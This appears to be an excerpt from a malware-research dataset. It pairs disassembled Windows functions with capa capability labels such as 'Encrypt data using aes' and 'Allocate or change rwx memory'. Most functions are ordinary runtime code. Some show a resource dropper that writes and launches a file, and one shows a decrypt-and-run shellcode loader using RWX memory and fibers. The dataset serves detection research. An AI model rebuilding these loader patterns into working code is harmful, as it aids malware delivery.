joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47a9b8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov ecx, dword [eax]
mov dword [edx], ecx
lea ecx, [eax + 4]
mov ecx, dword [ecx]
mov dword [edx + 4], ecx
lea ecx, [eax + 8]
mov ecx, dword [ecx]
mov dword [edx + 8], ecx
add eax, 0xc
mov eax, dword [eax]
mov dword [edx + 0xc], eax
xor eax, eax
mov dword [esp], 1
mov ecx, dword [edx + eax*4 + 0xc]
mov ebx, ecx
shl ebx, 0x18
shr ecx, 8
or ebx, ecx
mov ecx, ebx
xor ebx, ebx
mov bl, cl
mov ebx, dword [ebx*4 + 0x483d44]
mov dword [esp + 4], ebx
mov ebx, ecx
shr ebx, 8
and ebx, 0xff
mov esi, dword [ebx*4 + 0x483d44]
mov ebx, ecx
shr ebx, 0x10
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x483d44]
mov dword [esp + 8], ebx
shr ecx, 0x18
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x483d44]
mov ebx, esi
shl ebx, 8
shr esi, 0x18
or ebx, esi
xor ebx, dword [esp + 4]
mov esi, dword [esp + 8]
shl esi, 0x10
mov edi, dword [esp + 8]
shr edi, 0x10
or esi, edi
xor ebx, esi
mov esi, ecx
shl esi, 0x18
shr ecx, 8
or esi, ecx
xor ebx, esi
xor ebx, dword [edx + eax*4]
mov ecx, dword [esp]
xor ebx, dword [ecx*4 + 0x4838c8]
mov dword [edx + eax*4 + 0x10], ebx
inc dword [esp]
mov ecx, dword [edx + eax*4 + 4]
xor ecx, dword [edx + eax*4 + 0x10]
mov dword [edx + eax*4 + 0x14], ecx
mov ebx, dword [edx + eax*4 + 8]
xor ebx, ecx
mov dword [edx + eax*4 + 0x18], ebx
mov ecx, dword [edx + eax*4 + 0xc]
xor ecx, ebx
mov dword [edx + eax*4 + 0x1c], ecx
add eax, 4
cmp eax, 0x28
jl 0x47a9e3
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x47dec4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404990
push eax
call 0x406ba0
cmp eax, 0xffffffff
je 0x47dedd
test al, 0x10
jne 0x47dee1
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x47e000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404980
mov eax, dword [ebp - 8]
call fcn.00404980
mov eax, dword [ebp + 8]
call fcn.00404980
xor eax, eax
push ebp
push 0x47e117
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 4]
call fcn.00404990
push eax
mov eax, dword [ebp - 8]
call fcn.00404990
push eax
push esi
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x47e0ec
push ebx
push esi
call sub.kernel32.dll_LoadResource
mov edi, eax
test edi, edi
je 0x47e0ec
push ebx
push esi
call sub.kernel32.dll_SizeofResource
mov esi, eax
test esi, esi
je 0x47e0e6
push edi
call sub.kernel32.dll_LockResource
mov edi, eax
test edi, edi
je 0x47e0e6
lea edx, [ebp - 0x18]
mov eax, dword [ebp + 8]
call fcn.00408f9c
mov eax, dword [ebp - 0x18]
call fcn.0047dee8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
call fcn.00404990
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x47e0e6
push 0
lea eax, [ebp - 0x14]
push eax
push esi
push edi
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x47e0dd
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
push ebx
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47e11e
lea eax, [ebp - 0x18]
call fcn.004044e0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404504
lea eax, [ebp + 8]
call fcn.004044e0
ret
Function at 0x47e12c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
xor edx, edx
mov dword [ebp - 0x168], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404980
lea eax, [ebp - 0x164]
mov edx, dword [0x407a10]
call fcn.00404ee8
xor eax, eax
push ebp
push 0x47e2cc
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x47e2e0
call fcn.00404ad4
test eax, eax
je 0x47e295
lea edx, [ebp - 0x168]
mov eax, dword [ebp - 4]
call fcn.0040c3e4
mov edx, dword [ebp - 0x168]
lea eax, [ebp - 4]
call fcn.00404578
mov eax, dword [ebp - 4]
call fcn.0047dec4
test al, al
je 0x47e295
mov eax, dword [ebp - 4]
call fcn.00404798
cmp eax, 4
jl 0x47e295
lea eax, [ebp - 8]
mov ecx, 0x47e2ec
mov edx, dword [ebp - 4]
call fcn.004047e4
lea ecx, [ebp - 0x164]
mov edx, 0x3f
mov eax, dword [ebp - 8]
call fcn.00408e74
test eax, eax
jne 0x47e28a
mov eax, dword [0x484bfc]
mov eax, dword [eax]
call fcn.00456320
mov eax, dword [ebp - 0x158]
mov edx, 0x47e2f8
call fcn.004048dc
je 0x47e277
mov eax, dword [ebp - 0x158]
mov edx, 0x47e304
call fcn.004048dc
je 0x47e277
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 4]
call fcn.004047e4
test dword [ebp - 0x15c], 0x10
jle 0x47e25c
mov eax, dword [ebp - 0xc]
call fcn.0047e12c
push 0x80
mov eax, dword [ebp - 0xc]
call fcn.00404990
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 0xc]
call fcn.004090e0
jmp 0x47e277
push 0x80
mov eax, dword [ebp - 0xc]
call fcn.00404990
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 0xc]
call fcn.00408f04
lea eax, [ebp - 0x164]
call fcn.00408ec4
test eax, eax
je 0x47e1ea
lea eax, [ebp - 0x164]
call fcn.00408ee8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47e2d3
lea eax, [ebp - 0x168]
call fcn.004044e0
lea eax, [ebp - 0x164]
mov edx, dword [0x407a10]
call fcn.00404fb8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404504
ret
Function at 0x47ea4c
Capabilities:
Check http status code
Get http content length

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x47eb4a
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x20000013
push esi
call sub.wininet.dll_HttpQueryInfoA
test eax, eax
je 0x47eb2b
cmp dword [ebp - 4], 0xc8
jne 0x47eaef
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x20000005
push esi
call sub.wininet.dll_HttpQueryInfoA
test eax, eax
je 0x47eace
mov eax, dword [ebp - 8]
mov dword [edi + 0x34], eax
mov bl, 1
jmp 0x47eb3c
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x2f76
jne 0x47eadc
mov bl, 1
cmp word [edi + 0x3a], 0
je 0x47eb3c
mov cl, 3
mov edx, edi
mov eax, dword [edi + 0x3c]
call dword [edi + 0x38]
jmp 0x47eb3c
cmp dword [ebp - 4], 0x191
jne 0x47eafc
mov al, 6
jmp 0x47eb18
cmp dword [ebp - 4], 0x194
jne 0x47eb09
mov al, 5
jmp 0x47eb18
cmp dword [ebp - 4], 0x1f4
jne 0x47eb16
mov al, 7
jmp 0x47eb18
mov al, 8
cmp word [edi + 0x3a], 0
je 0x47eb3c
mov ecx, eax
mov edx, edi
mov eax, dword [edi + 0x3c]
call dword [edi + 0x38]
jmp 0x47eb3c
cmp word [edi + 0x3a], 0
je 0x47eb3c
xor ecx, ecx
mov edx, edi
mov eax, dword [edi + 0x3c]
call dword [edi + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47eb51
ret
Function at 0x480684
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4807b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4807cc
mov eax, ebx
call fcn.00436bdc
inc dword [0x485da4]
lea edx, [ebp - 0xc]
mov eax, dword [0x485da0]
call fcn.00408b28
push dword [ebp - 0xc]
push 0x4807d8
lea edx, [ebp - 0x10]
mov eax, dword [0x485da4]
call fcn.00408b28
push dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404858
mov eax, dword [ebx + 0x2f8]
add eax, 0x40
mov edx, 0x4807e4
call fcn.00404534
lea ecx, [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0x2f8]
call fcn.0047dc34
mov ecx, dword [ebp - 8]
mov edx, 0x4807f4
mov eax, dword [0x485dbc]
call fcn.004177f8
mov edx, dword [0x484aa8]
mov edx, dword [edx]
mov eax, dword [0x485dbc]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, dword [0x485db4]
push eax
mov ecx, 0x480800
mov edx, 0x48080c
mov eax, dword [0x485718]
call fcn.0047e000
mov eax, dword [0x485db4]
call fcn.00408e00
test al, al
je 0x48079b
push 0x480818
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402a94
push dword [ebp - 0x14]
push 0x480818
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404858
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404990
push eax
mov eax, dword [0x485db4]
call fcn.00404990
push eax
push 0x48081c
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4807bd
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404504
ret
Function at 0x4015d4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0xbb8
call fcn.00403b10
mov dword [ebp - 0x1c], 0
jmp 0x401611
mov dword [esp], 0xa76409bd
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 7
jle 0x4015f9
lea eax, [ebp - 0x430]
mov ebx, 0x405020
mov edx, 0x100
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x770]
mov ebx, 0x405420
mov edx, 0xd0
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 0
jmp 0x401697
mov dword [ebp - 0x24], 0
jmp 0x401689
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + eax*4 - 0x430]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x770]
cmp edx, eax
jne 0x401685
mov eax, dword [ebp - 0x24]
mov ecx, eax
lea edx, [ebp - 0xab0]
mov eax, dword [ebp - 0x20]
add eax, edx
mov byte [eax], cl
jmp 0x401693
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x24]
cmp eax, 0x3ff
jbe 0x401659
add dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x20]
cmp eax, 0x33f
jbe 0x401650
mov dword [ebp - 0x28], 0xd0
mov dword [ebp - 0xac1], 0x4d593930
mov dword [ebp - 0xabd], 0x57375263
mov dword [ebp - 0xab9], 0x35367632
mov dword [ebp - 0xab5], 0x42424f6c
mov byte [ebp - 0xab1], 0
mov dword [ebp - 0xad2], 0x6d6e7345
mov dword [ebp - 0xace], 0x34506537
mov dword [ebp - 0xaca], 0x56373646
mov dword [ebp - 0xac6], 0x62527055
mov byte [ebp - 0xac2], 0
lea eax, [ebp - 0xad2]
mov dword [esp + 8], eax
lea eax, [ebp - 0xac1]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb92]
mov dword [esp], eax
call fcn.004029de
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
lea eax, [ebp - 0xab0]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb92]
mov dword [esp], eax
call fcn.004038f7
mov dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xb9c], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call eax
sub esp, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
lea eax, [ebp - 0xb9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0xb98]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004022f7
mov ebx, dword [ebp - 0xb98]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xab0]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call fcn.004022ae
mov eax, dword [ebp - 0xb98]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFiber]
call eax
sub esp, 0xc
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SwitchToFiber]
call eax
sub esp, 4
lea eax, [ebp - 0xab0]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x402a42
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov byte [ebp - 0x18], al
mov byte [ebp - 5], 0
jmp 0x402abc
mov byte [ebp - 6], 0
jmp 0x402ab2
movzx eax, byte [ebp - 5]
movzx edx, byte [ebp - 6]
mov ecx, dword [ebp + 0xc]
shl eax, 2
add eax, ecx
add eax, edx
movzx ebx, byte [eax]
movzx eax, byte [ebp - 0x18]
lea edx, [eax*4]
movzx eax, byte [ebp - 5]
add eax, edx
lea edx, [eax*4]
movzx eax, byte [ebp - 6]
add eax, edx
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
movzx ecx, byte [eax]
movzx eax, byte [ebp - 5]
movzx edx, byte [ebp - 6]
xor ebx, ecx
mov ecx, dword [ebp + 0xc]
shl eax, 2
add eax, ecx
add eax, edx
mov byte [eax], bl
add byte [ebp - 6], 1
cmp byte [ebp - 6], 3
jbe 0x402a5b
add byte [ebp - 5], 1
cmp byte [ebp - 5], 3
jbe 0x402a55
nop
add esp, 0x14
pop ebx
pop ebp
ret

Function at 0x402ac9
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
jmp 0x402b22
mov byte [ebp - 0xa], 0
jmp 0x402b18
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ecx, dword [ebp + 8]
shl eax, 2
add eax, ecx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx edx, byte [eax + str.cw]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x402add
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x402ad7
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x4035dd
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
jmp 0x403636
mov byte [ebp - 0xa], 0
jmp 0x40362c
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ecx, dword [ebp + 8]
shl eax, 2
add eax, ecx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx edx, byte [eax + 0x406880]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
cmp byte [ebp - 0xa], 3
jbe 0x4035f1
add byte [ebp - 9], 1
cmp byte [ebp - 9], 3
jbe 0x4035eb
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x40383b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov byte [ebp - 5], 0
jmp 0x403873
movzx edx, byte [ebp - 5]
mov eax, dword [ebp + 8]
add eax, edx
movzx ebx, byte [eax]
movzx edx, byte [ebp - 5]
mov eax, dword [ebp + 0xc]
add eax, edx
movzx ecx, byte [eax]
movzx edx, byte [ebp - 5]
mov eax, dword [ebp + 8]
add eax, edx
xor ebx, ecx
mov edx, ebx
mov byte [eax], dl
add byte [ebp - 5], 1
cmp byte [ebp - 5], 0xf
jbe 0x403848
nop
add esp, 0x10
pop ebx
pop ebp
ret
Function at 0x403e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4073a0]
test esi, esi
jle 0x403fa0
mov edi, dword [0x4073a4]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x403ec4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x403f45
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x403eb0
mov dword [esp], eax
mov ebx, eax
call fcn.00404780
test eax, eax
mov edi, eax
je 0x403fc7
mov eax, dword [0x4073a4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00404880
add eax, dword [edi + 0xc]
mov edx, dword [0x4073a4]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x403fa7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x403f3e
sub eax, 4
and eax, 0xfffffffb
jne 0x403f50
add dword [0x4073a0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
add ebx, dword [0x4073a4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x403f3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00404ca0
lea esi, [esi]
xor esi, esi
jmp 0x403ece
mov eax, dword [0x4073a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00404ca0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00404ca0
mov esi, esi
lea edi, [edi]

Function at 0x404400
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4073b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4073b0]
sub esp, 4
test ebx, ebx
je 0x404455
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40444e
test esi, esi
je 0x40444e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x404430
mov dword [esp], 0x4073b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404ca0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00404c70
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00404c70
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
jmp fcn.004014e0
Function at 0x40456c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00407064
test esi, esi
jne 0x4045a4
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004071a0
jmp 0x4045c2
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404450
mov edi, eax
test esi, esi
je 0x4045c2
cmp dword [ebx], 0
je 0x4045c2
dec esi
jmp 0x4045ab
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4045f8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x490008], 0x8088405
inc edx
mov dword [ebx + 0x490008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x405ffc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x49704c], 0
je 0x40605d
cmp word [0x497328], 0xd7b2
jne 0x406025
cmp dword [0x497330], 0
jbe 0x406025
mov eax, 0x497324
call dword [0x497340]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x406088
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x490030], 0
jne 0x406079
push 0
push 0x490798
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4061e8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x490034], 0
je 0x40620e
mov edx, esi
mov eax, ebx
call dword [0x490034]
jmp 0x40621d
mov eax, 8
call fcn.004041b8
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x49704d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4061b0
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc

Function at 0x407a74
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x407ab6
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x407ad6
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040725c
add esp, 0x41c
pop esi
pop ebx
ret
Function at 0x409010
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x409177
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00407064
cmp si, word [0x4907e0]
jb 0x4090aa
cmp si, word [0x4909e0]
ja 0x4090aa
mov edi, 0x40
xor eax, eax
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0xc]
jb 0x4090aa
mov ebx, dword [ebp - 0xc]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x4907e0]
jae 0x409084
mov edi, ebx
dec edi
jmp 0x4090a5
cmp si, word [ebx*8 + 0x4907e0]
jbe 0x409094
inc ebx
mov dword [ebp - 0xc], ebx
jmp 0x4090a5
mov edx, dword [ebp - 8]
mov eax, dword [ebx*8 + 0x4907e4]
call fcn.00408f20
jmp 0x4090aa
cmp edi, dword [ebp - 0xc]
jae 0x40906e
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x409159
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x409159
push 0x55
lea eax, [ebp - 0xb6]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x160]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x164]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.0040725c
push dword [ebp - 0x164]
push 0x409194
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x160]
mov ecx, 0x55
call fcn.0040725c
push dword [ebp - 0x168]
push 0x4091a4
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.0040725c
push dword [ebp - 0x16c]
mov eax, dword [ebp - 8]
mov edx, 5
call fcn.00407614
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40917e
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.0040705c
ret
Function at 0x409330
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409435
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x499b54
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x499b6c]
jne 0x40937c
mov eax, esi
mov edx, 0x499b70
mov ecx, 0x55
call fcn.0040725c
push 0x499b54
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40941f
push 0x499b54
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
xor edx, edx
call fcn.00407064
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x4093ed
cmp byte [0x499b50], 0
je 0x4093b2
mov edx, esi
mov eax, ebx
call fcn.00409210
jmp 0x4093ed
mov edx, esi
mov eax, ebx
call fcn.00409010
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x4093ed
cmp dword [esi], 0
je 0x4093d6
mov eax, esi
mov edx, 0x409450
call fcn.00407470
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.00409010
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00407470
push 0x499b54
call sub.kernel32.dll_EnterCriticalSection
mov word [0x499b6c], bx
push 0xaa
mov eax, dword [esi]
call fcn.004070f0
push eax
push 0x499b70
call sub.kernel32.dll_lstrcpynW
push 0x499b54
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40943c
lea eax, [ebp - 4]
call fcn.00407054
ret